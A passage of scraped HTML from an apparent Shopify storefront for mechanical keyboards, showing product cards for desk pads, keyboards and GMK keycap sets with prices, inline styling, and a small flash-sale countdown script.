/div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> strike stylecolor: #999999> $240/strike> span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> $99 /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> NK65™ - AWAKEN EDITION /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> strike stylecolor: #999999> $240/strike> /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> $99 /span> /div>-->/div> /div> /div> /div>script> var flashSaleElements document.getElementsByClassName(flash-sale); for(let i 0; i flashSaleElements.length; i++) { console.log(flashSaleElementsi); let element flashSaleElementsi; let saleOverrideText element.getAttribute(data-sale-override); if(saleOverrideText ! && saleOverrideText !   && false) { element.innerHTML `SALE ENDS: ${saleOverrideText}`; } else { getTimeRemaining(element); setInterval(function(){ getTimeRemaining(element) }, 1000); } } function getTimeRemaining(element) { var d new Date(); var localTime d.getTime(); var localOffset d.getTimezoneOffset() * 60000; var utcNow localTime + localOffset; var localTimeEndDate new Date(element.getAttribute(data-sale-end)); var saleEndDate Date.UTC(localTimeEndDate.getUTCFullYear(), localTimeEndDate.getUTCMonth(), localTimeEndDate.getUTCDate(), localTimeEndDate.getUTCHours(), localTimeEndDate.getUTCMinutes()); console.log(`${saleEndDate} | ${utcNow}`); //var now new Date().getTime(); //var saleEndDate new Date(element.getAttribute(data-sale-end)).getTime(); var seconds (saleEndDate - utcNow)/1000; var minutes Math.ceil(seconds / 60); var hours Math.floor(minutes / 60); minutes minutes % 60; seconds Math.floor(seconds % 60 % 60); //element.innerHTML `${hours}h ${minutes}m`; element.innerHTML `${hours}h ${minutes}m ${seconds}s`; } /script>/div>div idshopify-section-featured-collections classshopify-section index-section>div> div classpage-width> div stylepadding-top: 20px classthree-column-grid> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-4613277188189 { max-width: 345px; max-height: 194.12px; } #ProductCardImageWrapper-featured-collections-4613277188189 { max-width: 345px; max-height: 194.12px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-4613277188189 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-4613277188189 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-4613277188189 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div stylebackground-color: #ffffff; color: #49a339 classproduct-tag aria-hiddentrue>IN STOCK !-- strike> $0.00/strike> !-->/div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefgodspeed-v2-deskpads.html> span classvisually-hidden>Godspeed v2 Deskpads/span> /a> img style idProductCardImage-featured-collections-4613277188189 classgrid-view-item__image lazyload srcimages/godspeed_panda_800x80004a9.jpg?v1630596862 data-srcgodspeed_panda_%7bwidth%7dx04a9.html?v1630596862 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcgodspeed_panda_%7bwidth%7dx04a9.html?v1630596862 altGodspeed v2 Deskpads > /noscript> /div> a hrefgodspeed-v2-deskpads.html> span classvisually-hidden>Godspeed v2 Deskpads/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> GODSPEED V2 DESKPADS /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> $25 span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> GODSPEED V2 DESKPADS /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> $25 /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-7541287714983 { max-width: 345px; max-height: 194.12px; } #ProductCardImageWrapper-featured-collections-7541287714983 { max-width: 345px; max-height: 194.12px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-7541287714983 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-7541287714983 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-7541287714983 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div stylebackground-color: #ffffff; color: #49a339 classproduct-tag aria-hiddentrue>IN STOCK !-- strike> $0.00/strike> !-->/div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefspellbook-deskpad.html> span classvisually-hidden>Spellbook Deskpad/span> /a> img style idProductCardImage-featured-collections-7541287714983 classgrid-view-item__image lazyload srcimages/nk_deskpad_spellbook_purple_800x800cfce.jpg?v1672247377 data-srcnk_deskpad_spellbook_purple_%7bwidth%7dxcfce.html?v1672247377 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcnk_deskpad_spellbook_purple_%7bwidth%7dxcfce.html?v1672247377 altSpellbook Deskpad > /noscript> /div> a hrefspellbook-deskpad.html> span classvisually-hidden>Spellbook Deskpad/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> SPELLBOOK DESKPAD /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> $25 span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> SPELLBOOK DESKPAD /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> $25 /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-7374429126823 { max-width: 345px; max-height: 194.12px; } #ProductCardImageWrapper-featured-collections-7374429126823 { max-width: 345px; max-height: 194.12px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-7374429126823 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-7374429126823 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-7374429126823 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div stylebackground-color: #ffffff; color: #49a339 classproduct-tag aria-hiddentrue>IN STOCK !-- strike> $0.00/strike> !-->/div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefcutting-mat-deskpads.html> span classvisually-hidden>Cutting Mat Deskpads/span> /a> img style idProductCardImage-featured-collections-7374429126823 classgrid-view-item__image lazyload srcimages/cuttingmat_black_800x800c354.jpg?v1657627758 data-srccuttingmat_black_%7bwidth%7dxc354.html?v1657627758 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srccuttingmat_black_%7bwidth%7dxc354.html?v1657627758 altCutting Mat Deskpads > /noscript> /div> a hrefcutting-mat-deskpads.html> span classvisually-hidden>Cutting Mat Deskpads/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> CUTTING MAT DESKPADS /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> $25 span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> CUTTING MAT DESKPADS /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> $25 /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-7756801736871 { max-width: 345px; max-height: 194.0625px; } #ProductCardImageWrapper-featured-collections-7756801736871 { max-width: 345px; max-height: 194.0625px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-7756801736871 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-7756801736871 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-7756801736871 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.25%;> div classproduct-tag-wrapper> div classproduct-tag stylebackground-color: #ffffff; color: #49a339 > LIMITED STOCK /div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefxox70-frl-tkl.html> span classvisually-hidden>XOX70 FRL TKL/span> /a> img style idProductCardImage-featured-collections-7756801736871 classgrid-view-item__image lazyload srcimages/xox70_white_16x9-5_800x8002fb7.jpg?v1702388760 data-srcxox70_white_16x9-5_%7bwidth%7dx2fb7.html?v1702388760 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7777777777777777 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcxox70_white_16x9-5_%7bwidth%7dx2fb7.html?v1702388760 altXOX70 FRL TKL > /noscript> /div> a hrefxox70-frl-tkl.html> span classvisually-hidden>XOX70 FRL TKL/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> XOX70 FRL TKL /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> $350 span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> XOX70 FRL TKL /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> $350 /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-7662006337703 { max-width: 345px; max-height: 194.12px; } #ProductCardImageWrapper-featured-collections-7662006337703 { max-width: 345px; max-height: 194.12px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-7662006337703 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-7662006337703 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-7662006337703 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div classproduct-tag stylebackground-color: #ffffff; color: #49a339 > LIMITED STOCK /div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefmtnu-susu.html> span classvisually-hidden>MTNU Susu/span> /a> img style idProductCardImage-featured-collections-7662006337703 classgrid-view-item__image lazyload srcimages/gmk_mtnu_susu_16x9_tile_800x80035f5.jpg?v1702388815 data-srcgmk_mtnu_susu_16x9_tile_%7bwidth%7dx35f5.html?v1702388815 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcgmk_mtnu_susu_16x9_tile_%7bwidth%7dx35f5.html?v1702388815 altMTNU Susu > /noscript> /div> a hrefmtnu-susu.html> span classvisually-hidden>MTNU Susu/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> MTNU SUSU /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> GMK PBT Double-Shot Keycaps /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> $125 span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> MTNU SUSU /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> $125 /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> GMK PBT Double-Shot Keycaps /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-6607716712615 { max-width: 345px; max-height: 194.12px; } #ProductCardImageWrapper-featured-collections-6607716712615 { max-width: 345px; max-height: 194.12px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-6607716712615 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-6607716712615 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-6607716712615 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div classproduct-tag stylebackground-color: #ffffff; color: #49a339 > LIMITED STOCK /div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefgmk-metropolis-r2.html> span classvisually-hidden>CYL Metropolis R2/span> /a> img style idProductCardImage-featured-collections-6607716712615 classgrid-view-item__image lazyload srcimages/nk_metror2_16x9-tile_800x8001adb.jpg?v1673617453 data-srcnk_metror2_16x9-tile_%7bwidth%7dx1adb.html?v1673617453 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcnk_metror2_16x9-tile_%7bwidth%7dx1adb.html?v1673617453 altCYL Metropolis R2 > /noscript> /div> a hrefgmk-metropolis-r2.html> span classvisually-hidden>CYL Metropolis R2/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> CYL METROPOLIS R2 /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> GMK ABS Double-Shot Keycaps /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> $135 span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> CYL METROPOLIS R2 /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> $135 /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> GMK ABS Double-Shot Keycaps /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-7550263885991 { max-width: 345px; max-height: 194.12px; } #ProductCardImageWrapper-featured-collections-7550263885991 { max-width: 345px; max-height: 194.12px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-7550263885991 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-7550263885991 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-7550263885991 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div classproduct-tag stylebackground-color: #ffffff; color: #49a339 > LIMITED STOCK /div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefgmk-olivia-no3.html> span classvisually-hidden>CYL Olivia No3/span> /a> img style idProductCardImage-featured-collections-7550263885991 classgrid-view-item__image lazyload srcgmk_cyl_oliviano3_16x9_tile_%7bwidth%7dx3c4a.html?v1701457064 data-srcgmk_cyl_oliviano3_16x9_tile_%7bwidth%7dx3c4a.html?v1701457064 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcgmk_cyl_oliviano3_16x9_tile_%7bwidth%7dx3c4a.html?v1701457064 altCYL Olivia No3 > /noscript> /div> a hrefgmk-olivia-no3.html> span classvisually-hidden>CYL Olivia No3/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> CYL OLIVIA Nº3 /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> GMK ABS Double-Shot Keycaps /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> $145 span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> CYL OLIVIA Nº3 /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> $145 /span> /div> div classone-whole styledisplay: flex;> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> GMK ABS Double-Shot Keycaps /div> span stylecolor: #49a339; width: auto; text-align: right; display: flex; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div>-->/div> div style border-radius: 5px; padding-top: 0px; max-width: 2500px; classgrid-view-item product-card > !--style> @media screen and (min-width: 750px) { #ProductCardImage-featured-collections-7656610201767 { max-width: 345px; max-height: 194.12px; } #ProductCardImageWrapper-featured-collections-7656610201767 { max-width: 345px; max-height: 194.12px; } } @media screen and (max-width: 749px) { #ProductCardImage-featured-collections-7656610201767 { max-width: 750px; max-height: 750px; } #ProductCardImageWrapper-featured-collections-7656610201767 { max-width: 750px; } } /style>!--> div classimage-container> div stylemargin-bottom: 5px; idProductCardImageWrapper-featured-collections-7656610201767 classgrid-view-item__image-wrapper product-card__image-wrapper js> div stylepadding-top:56.26666666666666%;> div classproduct-tag-wrapper> div classproduct-tag stylebackground-color: #ffffff; color: #49a339 > LIMITED STOCK /div> /div> a classgrid-view-item__link grid-view-item__image-container full-width-link hrefkey-kobo-voc.html> span classvisually-hidden>Key Kobo VoC/span> /a> img style idProductCardImage-featured-collections-7656610201767 classgrid-view-item__image lazyload srcimages/voc_19x9_tile_800x800f8ae.jpg?v1684514779 data-srcvoc_19x9_tile_%7bwidth%7dxf8ae.html?v1684514779 data-widths180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048 data-aspectratio1.7772511848341233 data-sizesauto > /div> /div> style> .image-container { background-color: #E5E5E9; border-radius: 10px; position: relative; z-index: 1; } #overlay_text { width: 100%; text-align: center; margin-left: -20px; z-index: 3; color: #A1AD62; font-weight: bolder; font-size: 2.5em; text-shadow: 1px 1px 6px rgba(0,0,0,0.43); -webkit-text-stroke: 1.5px #ffffff; } @media all and (max-width:1140px) { #overlay_text { margin-left: -12px; font-size : 1.8em; } @media all and (max-width:836px) { #overlay_text { margin-left: -12px; font-size : 1.5em; } @media all and (max-width:749px) { #overlay_text { margin-left: -20px; font-size : 2.5em; } @media all and (max-width:530px) { #overlay_text { margin-left: -20px; font-size : 2em; } @media all and (max-width:530px) { #overlay_text { margin-left: -15px; font-size : 1.7em; } @media all and (max-width:375px) { #overlay_text { margin-left: -10px; font-size : 1em; } } /style> noscript> img classgrid-view-item__image srcvoc_19x9_tile_%7bwidth%7dxf8ae.html?v1684514779 altKey Kobo VoC > /noscript> /div> a hrefkey-kobo-voc.html> span classvisually-hidden>Key Kobo VoC/span> div classproduct-card-details-grid> div stylegrid-row: 1/3> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> KEY KOBO VOC /div> div style color: #999999; text-align: left; display: flex; padding-top: 5px; classh4 grid-view-item__title product-card__subtitle aria-hiddentrue> ABS Double-Shot Keycaps /div> /div> div styletext-align: right; justify-content: flex-end class price-item price price__regular price-item--regular data-regular-price> $99 span stylemargin-top: 2%; color: #49a339; text-align: right; justify-content: flex-end; flex-grow: 1; class price-item price price__regular price-item--regular data-regular-price> /span> /div> /div> /a> !-- div classone-whole product-card-info> div styledisplay: flex; text-align: left; classh4 grid-view-item__title product-card__title aria-hiddentrue> KEY KOBO VOC /div> span stylewidth: auto; flex-grow: 1; text-align: right; justify-content: flex-end; class price-item price price__regular price-item--regular data-regular-price> $99 /span> /div> div classone-whole styledisplay: flex;> div style 